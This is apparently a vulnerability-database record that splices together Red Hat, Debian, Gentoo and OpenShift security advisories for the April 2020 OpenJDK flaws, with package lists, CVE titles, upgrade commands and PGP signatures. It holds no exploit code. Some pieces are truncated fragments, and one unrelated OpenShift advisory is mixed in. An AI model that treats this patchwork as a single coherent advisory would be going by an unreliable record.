java-1.8.0-openjdk is now available for Red Hat Enterprise\nLinux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - noarch, x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - noarch, x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - noarch, ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - noarch, x86_64\n\n3. Description:\n\nThe java-1.8.0-openjdk packages provide the OpenJDK 8 Java Runtime\nEnvironment and the OpenJDK 8 Java Software Development Kit. \n\nSecurity Fix(es):\n\n* OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841)\n(CVE-2020-2803)\n\n* OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries,\n8235274) (CVE-2020-2805)\n\n* OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and\nDOMXMLSignatureFactory (Security, 8231415) (CVE-2020-2773)\n\n* OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408)\n(CVE-2020-2781)\n\n* OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP\nServer, 8234825) (CVE-2020-2800)\n\n* OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201)\n(CVE-2020-2830)\n\n* OpenJDK: Misplaced regular expression syntax error check in RegExpScanner\n(Scripting, 8223898) (CVE-2020-2754)\n\n* OpenJDK: Incorrect handling of empty string nodes in regular expression\nParser (Scripting, 8223904) (CVE-2020-2755)\n\n* OpenJDK: Incorrect handling of references to uninitialized class\ndescriptors during deserialization (Serialization, 8224541) (CVE-2020-2756)\n\n* OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass\n(Serialization, 8224549) (CVE-2020-2757)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nAll running instances of OpenJDK Java must be restarted for this update to\ntake effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1823199 - CVE-2020-2754 OpenJDK: Misplaced regular expression syntax error check in RegExpScanner (Scripting, 8223898)\n1823200 - CVE-2020-2755 OpenJDK: Incorrect handling of empty string nodes in regular expression Parser (Scripting, 8223904)\n1823215 - CVE-2020-2756 OpenJDK: Incorrect handling of references to uninitialized class descriptors during deserialization (Serialization, 8224541)\n1823216 - CVE-2020-2757 OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass (Serialization, 8224549)\n1823224 - CVE-2020-2773 OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415)\n1823527 - CVE-2020-2800 OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP Server, 8234825)\n1823542 - CVE-2020-2830 OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201)\n1823694 - CVE-2020-2803 OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841)\n1823844 - CVE-2020-2805 OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries, 8235274)\n1823960 - CVE-2020-2781 OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408)\n\n6. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm\n\nx86_64:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nnoarch:\njava-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm\njava-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm\n\nx86_64:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm\n\nx86_64:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nnoarch:\njava-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm\njava-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm\n\nx86_64:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm\n\nppc64:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.ppc64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.ppc64.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.ppc64.rpm\n\nppc64le:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.ppc64le.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64le.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.ppc64le.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.ppc64le.rpm\n\ns390x:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.s390x.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.s390x.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.s390x.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.s390x.rpm\n\nx86_64:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nnoarch:\njava-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm\njava-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm\n\nppc64:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.ppc64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.ppc64.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.ppc64.rpm\n\nppc64le:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.ppc64le.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64le.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.ppc64le.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.ppc64le.rpm\n\ns390x:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.s390x.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.s390x.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.s390x.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.s390x.rpm\n\nx86_64:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm\n\nx86_64:\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nnoarch:\njava-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm\njava-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm\n\nx86_64:\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm\njava-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2020-2754\nhttps://access.redhat.com/security/cve/CVE-2020-2755\nhttps://access.redhat.com/security/cve/CVE-2020-2756\nhttps://access.redhat.com/security/cve/CVE-2020-2757\nhttps://access.redhat.com/security/cve/CVE-2020-2773\nhttps://access.redhat.com/security/cve/CVE-2020-2781\nhttps://access.redhat.com/security/cve/CVE-2020-2800\nhttps://access.redhat.com/security/cve/CVE-2020-2803\nhttps://access.redhat.com/security/cve/CVE-2020-2805\nhttps://access.redhat.com/security/cve/CVE-2020-2830\nhttps://access.redhat.com/security/updates/classification/#important\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2020 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXp7Zs9zjgjWX9erEAQijNg//Wv9fjFvkxHC42Hd5YcN8qnGcf6gdOYDW\npAv6Tv6q9pstko1bcUZYa0V01XejJYe/5uAADu3QGe1aMihI0VMjXrlFULW1laNS\nQTRtsnzTac5Gm3cJZKDXIv1ITI+fgGBWOvwN9lketAQtO5su+JbPTPQ4S0rBy55D\ngAVa8RVPi6qQt85HmXDrrpaAI2N8EFVkJBpC9ZRRFtI5wTv//bVx29Qw/sthlN3N\nqXwO8KZI44Xbe+vb6QpGcNkly+Dh7CdeVFV1OVkqx8eOVA8Cj45NAeBgP1W8n2VQ\nzt0GiKCbrV49e2AsBgmK49/J3N2L9xalsHSn54+6N02rcjf4dseV5flz5/unSIDc\ngPqFCTRbGZcIdjFbilvsklGBVfBzXjw5SjUemMKYggXa+6L74O+kuH4TRZRXhmEX\n70Kvn1w0ta8P1bxK0A6BM6ZnDo5f7jVIQipk2M/hw6SDzu7ZA5zbDRCg419AZ8qc\nsyuuHWmdfpRRj0XlUw5eBfBUq8UL+huEfRvu85zBhvhTw/Pyu+T0nQ7iofSyqvob\n2LlLyPV14RBOzGIWLqrt2tGBUYanKULxIdT+VtSu4gyuloGc84onSLTqU0Ucbc85\nnxpY6nc9GxOYWCMDITnr4xiRXQuUuE5V4UVwsFlr+xsEYcsAXdPLzyXzw8S8sL+Z\nyPjQbJvoqgE=\n=5P5C\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4662-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nApril 24, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : openjdk-11\nCVE ID : CVE-2020-2754 CVE-2020-2755 CVE-2020-2756 CVE-2020-2757 \n CVE-2020-2767 CVE-2020-2773 CVE-2020-2778 CVE-2020-2781 \n CVE-2020-2800 CVE-2020-2803 CVE-2020-2805 CVE-2020-2816 \n CVE-2020-2830\n\nSeveral vulnerabilities have been discovered in the OpenJDK Java\nruntime, resulting in denial of service, insecure TLS handshakes, bypass\nof sandbox restrictions or HTTP response splitting attacks. \n\nFor the stable distribution (buster), these problems have been fixed in\nversion 11.0.7+10-3~deb10u1. \n\nWe recommend that you upgrade your openjdk-11 packages. \n\nFor the detailed security status of openjdk-11 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/openjdk-11\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQIyBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAl6i4QkACgkQEMKTtsN8\nTjYOlg/3ZpduOWklosp1sS0za11zUYZHlql01d75lk2HS/u5sEVUNPyVcZ2iC8Bk\nzVBfqdJmfoODThzMVws1f9BhTvdaigPd+6stG3eVcU7kHS3IEpSAglKRK9220jDQ\nEuz2CXHV2trngO9C6oEg6OOB2wguKyeFT7VlMazyznmesIUr+BnmTpm/t97QOAhj\n+OyeXm3YdI7B8idZUNnUS42SKei+vaj1b/Dwi7Bv5YZUgIDAy8J6lRxUYi3EA/MT\nLux7auJiMw9cIx5xqiIIW+3JmLrxXZQdvxWRsZtl5ATNwMf/PDjroWGj1eIRIa66\n70dJ4FoY/yHdc4wnadBJKhWUgZbGDpVyclzRx8DBlqYxmJx0BVu10he1j8fMJnp1\n72A/gHVtcHDuCLpskgYiJeUqkPq/nMEt85Q2NpnW61sGFJedGIQeAMGKLPsLCmz4\nU8L2CaTvtnBFNN82P50rDCuFwKChOJ5OqKuZCBwX6hhJQqgPsSGE7wdUep0UFbm0\n9qyEZ+Ph7v42+JcnP3O/Ow9i2Q+rkHcCu//jp+TaeyjZEaIurAAlMz9YN8Tp665n\nlXe0nmWPkY+oCDoEglH5GaLkft0lEOT8idGp3ccBhHsQGhyJAq2z0b9OBTUgidjY\n99udJWsH8naHMBZL5aHmByQ/73mL/MB+oMRv15ypVrnL2B3KVQ==\n=/qDT\n-----END PGP SIGNATURE-----\n",
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VAR-202004-1071
Vulnerability from variot - Updated: 2023-11-07 20:38Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: JSSE). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). It exists that OpenJDK incorrectly handled certain regular expressions. An attacker could possibly use this issue to cause a denial of service while processing a specially crafted regular expression. (CVE-2020-2754, CVE-2020-2755). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202006-22
https://security.gentoo.org/
Severity: Normal Title: OpenJDK, IcedTea: Multiple vulnerabilities Date: June 15, 2020 Bugs: #718720, #720690 ID: 202006-22
Synopsis
Multiple vulnerabilities have been found in OpenJDK and IcedTea, the worst of which could result in the arbitrary execution of code.
Background
OpenJDK is a free and open-source implementation of the Java Platform, Standard Edition.
IcedTea’s aim is to provide OpenJDK in a form suitable for easy configuration, compilation and distribution with the primary goal of allowing inclusion in GNU/Linux distributions.
Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 dev-java/openjdk-bin < 8.252_p09 >= 8.252_p09 2 dev-java/openjdk-jre-bin < 8.252_p09 >= 8.252_p09 3 dev-java/icedtea-bin < 3.16.0 >= 3.16.0 ------------------------------------------------------------------- 3 affected packages
Description
Multiple vulnerabilities have been discovered in OpenJDK and IcedTea. Please review the CVE identifiers referenced below for details.
Impact
Please review the referenced CVE identifiers for details.
Workaround
There is no known workaround at this time.
Resolution
All OpenJDK binary users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=dev-java/openjdk-bin-8.252_p09"
All OpenJDK JRE binary users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot -v ">=dev-java/openjdk-jre-bin-8.252_p09"
All IcedTea binary users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=dev-java/icedtea-bin-3.16.0"
References
[ 1 ] CVE-2020-2585 https://nvd.nist.gov/vuln/detail/CVE-2020-2585 [ 2 ] CVE-2020-2585 https://nvd.nist.gov/vuln/detail/CVE-2020-2585 [ 3 ] CVE-2020-2755 https://nvd.nist.gov/vuln/detail/CVE-2020-2755 [ 4 ] CVE-2020-2755 https://nvd.nist.gov/vuln/detail/CVE-2020-2755 [ 5 ] CVE-2020-2756 https://nvd.nist.gov/vuln/detail/CVE-2020-2756 [ 6 ] CVE-2020-2756 https://nvd.nist.gov/vuln/detail/CVE-2020-2756 [ 7 ] CVE-2020-2757 https://nvd.nist.gov/vuln/detail/CVE-2020-2757 [ 8 ] CVE-2020-2757 https://nvd.nist.gov/vuln/detail/CVE-2020-2757 [ 9 ] CVE-2020-2773 https://nvd.nist.gov/vuln/detail/CVE-2020-2773 [ 10 ] CVE-2020-2773 https://nvd.nist.gov/vuln/detail/CVE-2020-2773 [ 11 ] CVE-2020-2781 https://nvd.nist.gov/vuln/detail/CVE-2020-2781 [ 12 ] CVE-2020-2781 https://nvd.nist.gov/vuln/detail/CVE-2020-2781 [ 13 ] CVE-2020-2800 https://nvd.nist.gov/vuln/detail/CVE-2020-2800 [ 14 ] CVE-2020-2800 https://nvd.nist.gov/vuln/detail/CVE-2020-2800 [ 15 ] CVE-2020-2803 https://nvd.nist.gov/vuln/detail/CVE-2020-2803 [ 16 ] CVE-2020-2803 https://nvd.nist.gov/vuln/detail/CVE-2020-2803 [ 17 ] CVE-2020-2805 https://nvd.nist.gov/vuln/detail/CVE-2020-2805 [ 18 ] CVE-2020-2805 https://nvd.nist.gov/vuln/detail/CVE-2020-2805 [ 19 ] CVE-2020-2830 https://nvd.nist.gov/vuln/detail/CVE-2020-2830 [ 20 ] CVE-2020-2830 https://nvd.nist.gov/vuln/detail/CVE-2020-2830
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
https://security.gentoo.org/glsa/202006-22
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.
License
Copyright 2020 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
https://creativecommons.org/licenses/by-sa/2.5 . 8.0) - aarch64, noarch, ppc64le, s390x, x86_64
- Description:
Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.
Security Fix(es):
- operator-framework/presto: /etc/passwd was given incorrect privileges (CVE-2019-19352)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Solution:
For OpenShift Container Platform 4.4 see the following documentation, which will be updated shortly for release 4.4.3, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:
https://docs.openshift.com/container-platform/4.4/release_notes/ocp-4-4-rel ease-notes.html
Details on how to access this content are available at https://docs.openshift.com/container-platform/4.4/updating/updating-cluster - -cli.html. Bugs fixed (https://bugzilla.redhat.com/):
1793281 - CVE-2019-19352 operator-framework/presto: /etc/passwd is given incorrect privileges
-
8) - aarch64, ppc64le, s390x, x86_64
-
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Important: java-1.7.1-ibm security update Advisory ID: RHSA-2020:2236-01 Product: Red Hat Enterprise Linux Supplementary Advisory URL: https://access.redhat.com/errata/RHSA-2020:2236 Issue date: 2020-05-20 CVE Names: CVE-2020-2654 CVE-2020-2756 CVE-2020-2757 CVE-2020-2781 CVE-2020-2800 CVE-2020-2803 CVE-2020-2805 CVE-2020-2830 ==================================================================== 1. Summary:
An update for java-1.7.1-ibm is now available for Red Hat Enterprise Linux 6 Supplementary.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node Supplementary (v. 6) - x86_64 Red Hat Enterprise Linux Server Supplementary (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64
- Description:
IBM Java SE version 7 Release 1 includes the IBM Java Runtime Environment and the IBM Java Software Development Kit.
Security Fix(es):
-
OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841) (CVE-2020-2803)
-
OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries, 8235274) (CVE-2020-2805)
-
OpenJDK: Excessive memory usage in OID processing in X.509 certificate parsing (Libraries, 8234037) (CVE-2020-2654)
-
OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408) (CVE-2020-2781)
-
OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP Server, 8234825) (CVE-2020-2800)
-
OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201) (CVE-2020-2830)
-
OpenJDK: Incorrect handling of references to uninitialized class descriptors during deserialization (Serialization, 8224541) (CVE-2020-2756)
-
OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass (Serialization, 8224549) (CVE-2020-2757)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
All running instances of IBM Java must be restarted for this update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
1791217 - CVE-2020-2654 OpenJDK: Excessive memory usage in OID processing in X.509 certificate parsing (Libraries, 8234037) 1823215 - CVE-2020-2756 OpenJDK: Incorrect handling of references to uninitialized class descriptors during deserialization (Serialization, 8224541) 1823216 - CVE-2020-2757 OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass (Serialization, 8224549) 1823527 - CVE-2020-2800 OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP Server, 8234825) 1823542 - CVE-2020-2830 OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201) 1823694 - CVE-2020-2803 OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841) 1823844 - CVE-2020-2805 OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries, 8235274) 1823960 - CVE-2020-2781 OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408)
- Package List:
Red Hat Enterprise Linux Desktop Supplementary (v. 6):
i386: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.i686.rpm
x86_64: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm
Red Hat Enterprise Linux HPC Node Supplementary (v. 6):
x86_64: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm
Red Hat Enterprise Linux Server Supplementary (v. 6):
i386: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.i686.rpm
